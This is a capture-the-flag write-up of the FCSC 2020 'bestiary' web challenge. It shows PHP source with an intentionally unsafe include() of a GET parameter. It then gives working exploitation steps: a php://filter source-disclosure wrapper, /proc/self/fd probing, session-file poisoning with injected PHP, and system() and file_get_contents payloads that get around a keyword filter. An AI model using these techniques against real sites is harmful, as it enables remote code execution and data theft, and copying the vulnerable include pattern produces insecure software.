FCSC 2020 - bestiary (web)

Web - bestiary

This challenge was initially giving 200 points but with dynamic scoring it scored 100 at the end. There is at least two ways to do it and the first one is the one I exploited and I think it’s a bit unattended.

So browsing the app show us that we can choose a file to display thanks to a GET parameter in url by providing a monster name.

It really looks like a local file inclusion, we can check it out quickly

Right in the feels ! For LFI I have my personal wordlist I can test through Burp Intruder. I’m gonna grep on Failed opening as this string is returned when the file cannot be opened and thus does not exist or we don’t have rights to read it.

Sadly I didn’t kept the output but there was only files without interest in our case like /etc/hostname and more. But one it shown be a very interesting file

/proc/self/fd/10

Which contained

monster|s:4:"lich";

I didn’t really paid attention at the moment, I thought it was a PHP serialized object and it was static value. The other file descriptor (I usually bruteforce between 0 and 100) gave nothing.

While exploiting LFI you should definitively check for the fd files they can contain very sensitive informations as it’s a reference to all the file opened by the application.

Then I tried to fetch the source code of the file with the famous php wrapper filter

http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=php://filter/convert.base64-encode/resource=index.php

and got the following code

<?php
        session_save_path("./sessions/");
        session_start();
        include_once('flag.php');
?>
<html>
<head>
        <title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
        var monster = document.getElementById("monster").value;
        document.location.href = "index.php?monster="+monster;
}
</script>

<p>
<?php
        $monster = NULL;

        if(isset($_SESSION['monster']) && !empty($_SESSION['monster']))
                $monster = $_SESSION['monster'];
        if(isset($_GET['monster']) && !empty($_GET['monster']))
        {
                $monster = $_GET['monster'];
                $_SESSION['monster'] = $monster;

        }
        if($monster !== NULL && strpos($monster, "flag") === False)
                include($monster);
        else
                echo "Select a monster to read his description.";
?>
</p>

<select id="monster">
        <option value="beholder">Beholder</option>
        <option value="displacer_beast">Displacer Beast</option>
        <option value="mimic">Mimic</option>
        <option value="rust_monster">Rust Monster</option>
        <option value="gelatinous_cube">Gelatinous Cube</option>
        <option value="owlbear">Owlbear</option>
        <option value="lich">Lich</option>
        <option value="the_drow">The Drow</option>
        <option value="mind_flayer">Mind Flayer</option>
        <option value="tarrasque">Tarrasque</option>
</select> <input type="button" value="show description" onclick="show()">
<div style="font-size:70%">Source : https://io9.gizmodo.com/the-10-most-memorable-dungeons-dragons-monsters-1326074030</div><br />
</body>
</html>

So there is flag.php however we can’t include it as the following line check if the string flag is provided

  if($monster !== NULL && strpos($monster, "flag") === False)

I didn’t find a logic or juggling flaw and accepted I just couldn’t use flag in my payload

there are bash tricks like fl$*ag but this won’t work inside php include


exploitation with file descriptor inclusion

After some test I went back to including /proc/fd/10 and saw this

The data displayed is not static, it seems to be the value of the last attempt, which was php://filter/convert.base64-encode/resource=index.php for me at this moment.

Immediately I wanted to know if php would be processed and yes it was !

In a browser visit :

http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=%3C%3Fphp%20echo%201300%20%2B%2012%3B%20%3F%3E

Which is <?php echo 1300 + 12; ?> url encoded. And then simply hit

view-source:http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=/proc/self/fd/10
<html>
<head>
    <title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
    var monster = document.getElementById("monster").value;
    document.location.href = "index.php?monster="+monster;
}
</script>

<p>
monster|s:24:"1312";</p>

<select id="monster">
    <option value="beholder">Beholder</option>
    <option value="displacer_beast">Displacer Beast</option>
    <option value="mimic">Mimic</option>
    <option value="rust_monster">Rust Monster</option>
    <option value="gelatinous_cube">Gelatinous Cube</option>
    <option value="owlbear">Owlbear</option>
    <option value="lich">Lich</option>
    <option value="the_drow">The Drow</option>
    <option value="mind_flayer">Mind Flayer</option>
    <option value="tarrasque">Tarrasque</option>
</select> <input type="button" value="show description" onclick="show()">
<div style="font-size:70%">Source : https://io9.gizmodo.com/the-10-most-memorable-dungeons-dragons-monsters-1326074030</div><br />
</body>
</html>

As you see our php has been processed monster|s:24:"1312";

So I quickly went to this payload

<?php system('cat $(echo "ZmxhZy5waHAK" | base64 -d)'); ?>

// $(echo "ZmxhZy5waHAK" | base64 -d) => flag.php

So now hit (and run)

http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%63%61%74%20%24%28%65%63%68%6f%20%22%5a%6d%78%68%5a%79%35%77%61%48%41%4b%22%20%7c%20%62%61%73%65%36%34%20%2d%64%29%27%29%3b%20%3f%3e 
<html>
<head>
    <title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
    var monster = document.getElementById("monster").value;
    document.location.href = "index.php?monster="+monster;
}
</script>

<p>
monster|s:58:"<br />
<b>Warning</b>:  system() has been disabled for security reasons in <b>/var/www/html/sessions/sess_c794ad4408a5ea7139e2765a575d4d53</b> on line <b>1</b><br />
";</p>

<select id="monster">
    <option value="beholder">Beholder</option>
    <option value="displacer_beast">Displacer Beast</option>
    <option value="mimic">Mimic</option>
    <option value="rust_monster">Rust Monster</option>
    <option value="gelatinous_cube">Gelatinous Cube</option>
    <option value="owlbear">Owlbear</option>
    <option value="lich">Lich</option>
    <option value="the_drow">The Drow</option>
    <option value="mind_flayer">Mind Flayer</option>
    <option value="tarrasque">Tarrasque</option>
</select> <input type="button" value="show description" onclick="show()">
<div style="font-size:70%">Source : https://io9.gizmodo.com/the-10-most-memorable-dungeons-dragons-monsters-1326074030</div><br />
</body>
</html>

A flag should be displayed but at the time where I’m writing this post It seems that the organizer patched the challenge and have disabled exec family functions.

Never mind, here is the flag : FCSC{83f5d0d1a3c9c82da282994e348ef49949ea4977c526634960f44b0380785622}

exploitation with php session

If you paid attention to details you without doubt saw these lines in the source code

<?php
        session_save_path("./sessions/");
        session_start();
        include_once('flag.php');
?>

This means that the sessions are stored in the directory of the application, making it available for us to a know path.

We can get it with monster=./sessions/sess_PHPSESSID_VALUE. So as the first technic you first browse with your payload.

http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=%3C?php%20echo%20base64_encode(file_get_contents(%27fl%27.%27ag.php%27));?%3E

//echo base64_encode(file_get_contens("fla"."g.php"));

And then browse

http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=./sessions/sess_c794ad4408a5ea7139e2765a575d4d53

<html>
<head>
    <title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
    var monster = document.getElementById("monster").value;
    document.location.href = "index.php?monster="+monster;
}
</script>

<p>
monster|s:61:"PD9waHAKCSRmbGFnPSJGQ1NDezgzZjVkMGQxYTNjOWM4MmRhMjgyOTk0ZTM0OGVmNDk5NDllYTQ5NzdjNTI2NjM0OTYwZjQ0YjAzODA3ODU2MjJ9IjsK";</p>

<select id="monster">
    <option value="beholder">Beholder</option>
    <option value="displacer_beast">Displacer Beast</option>
    <option value="mimic">Mimic</option>
    <option value="rust_monster">Rust Monster</option>
    <option value="gelatinous_cube">Gelatinous Cube</option>
    <option value="owlbear">Owlbear</option>
    <option value="lich">Lich</option>
    <option value="the_drow">The Drow</option>
    <option value="mind_flayer">Mind Flayer</option>
    <option value="tarrasque">Tarrasque</option>
</select> <input type="button" value="show description" onclick="show()">
<div style="font-size:70%">Source : https://io9.gizmodo.com/the-10-most-memorable-dungeons-dragons-monsters-1326074030</div><br />
</body>
</html>

The flag is the base64 encoded data.